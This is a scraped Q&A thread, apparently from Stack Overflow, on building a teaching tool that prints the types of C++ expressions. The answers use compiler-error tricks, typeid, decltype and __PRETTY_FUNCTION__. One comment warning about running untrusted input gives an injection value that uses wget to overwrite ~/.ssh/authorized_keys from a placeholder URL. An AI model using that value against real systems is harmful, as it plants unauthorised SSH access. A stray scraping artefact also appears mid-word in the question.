Print types of arbitrary C++ expressions

I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this? If not, is there a pretty easy way to do it by integrating with an existing compiler and calling into its debugger or API? I've been told, for example, that Clang has a fairly complete compiler API, perhaps there's some way to just pass a string into Clang along with the appropriate include directives and have it spit out a type?

I realize that this is potentially a huge project if there开发者_Go百科's nothing close to this existing today. I just thought it would have significant educational value, so it seemed like it was worth checking.

I came up with an answer inspired by Ben Voigt's comments. Just make a bug and let the compiler tell you the type which caused it:

template <typename T> void foo(T); // No definition

int main() {
  foo(1 + 3.0);
}

Result:

In function `main':
prog.cpp:(.text+0x13): undefined reference to `void foo<double>(double)'

Also, since you execute nothing but the compiler, you're pretty safe. No sandboxing needed, really. If you get anything other than "undefined reference to void foo<T>(T)", it wasn't an expression.

[edit] How would you put this into a tool? Simple, with macro's

// TestHarness.cpp
// Slight variation to make it a compile error
template <typename T> void foo(T) { typename T::bar t = T::bar ; }

int main() {
  foo(EXPR);
}

Now compile with $(CC) /D=(EXPR) TestHarness.cpp. Saves you from rebuilding the input file every time.

Improving yet more on MSalter's improvement:

class X {
  template <typename T> static void foo(T) {}
};

int main() {
  X::foo( $user_code );
}

Result (with $user_code = "1 + 3.0"):

prog.cpp: In function ‘int main()’:
prog.cpp:2: error: ‘static void X::foo(T) [with T = double]’ is private
prog.cpp:6: error: within this context

This avoids the link step.

Original answer:

C++ has the typeid keyword. Conceptually, you just need to stick the user's expression into some boilerplate like:

extern "C" int puts(const char *s);
#include <typeinfo>

int main(void)
{
    const type_info& the_type = typeid( $user_code );
    puts(the_type.name());
}

And then pass that source file to the compiler, and run it to get the answer.

Practically, it's going to be difficult to avoid running malicious code. You'd need to use a sandbox of some type. Or be really really careful to make sure that there aren't mismatched parentheses (you do know what trigraphs are, right?).

yes I'm aware that the argument of typeid isn't evaluated. But let $usercode be 1); system("wget -O ~/.ssh/authorized_keys some_url" !

A better option would be to avoid running the program. With a framework (requires C++11) like:

extern "C" decltype( $user_code )* the_value = 0;

You could run the compiler with the option to generate debug data, then use e.g. a dwarf2 reader library and get the symbolic type information associated with the_value, then remove one level of pointer.

Here's one way you can do this in GCC and Clang with __PRETTY_FUNCTION__:

#include <iostream>
#include <iterator>
#include <cstring>
#include <string_view>
#include <vector>

template<typename T>
static constexpr auto type_name() noexcept {
    // __PRETTY_FUNCTION__ means "$FUNCTION_SIGNATURE [with T = $TYPE]"
    const auto * const begin = std::strchr(__PRETTY_FUNCTION__, '=') + 2; // +2 to skip "= "
    const auto size = static_cast<std::string_view::size_type>(std::cend(__PRETTY_FUNCTION__) - begin - 2); // -2 meaning up to "]\0"
    return std::string_view{ begin, size };
}


template <typename T1, typename T2>
class my_class { }; // Example Class

int main() {
    my_class<int&, std::vector<double>> my_arr[20];
    std::cout << type_name<decltype(my_arr)>();
}

Output on GCC:

my_class<int&, std::vector<double> > [20]

I'm interested in writing a tool for teaching purposes that evaluates C++ expressions and prints their types. Essentially, my thinking is that my students could type in any expression, and the program would echo back the type of the expression. Is there an existing tool that already does this?

These days, there sort of is such a tool - online. It only does what you want as an unintended by product though. I'm talking about Matt Godbolt's Compiler Explorer.

Your "program" will look like this:

#define EXPRESSION 123

template <typename T> class the_type_of_EXPRESSION_IS_ { };
using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;

Now, if you replace 123 with a C++ expression, you'll get, in the compiler error messages section, the following:

<source>:4:72: error: '_' in 'class the_type_of_EXPRESSION_is_<int>' does not name a type

    4 | using bar = typename the_type_of_EXPRESSION_IS_<decltype(EXPRESSION)>::_;

      |                                                                        ^

Compiler returned: 1

The first line has your desired type, within the angle brackets.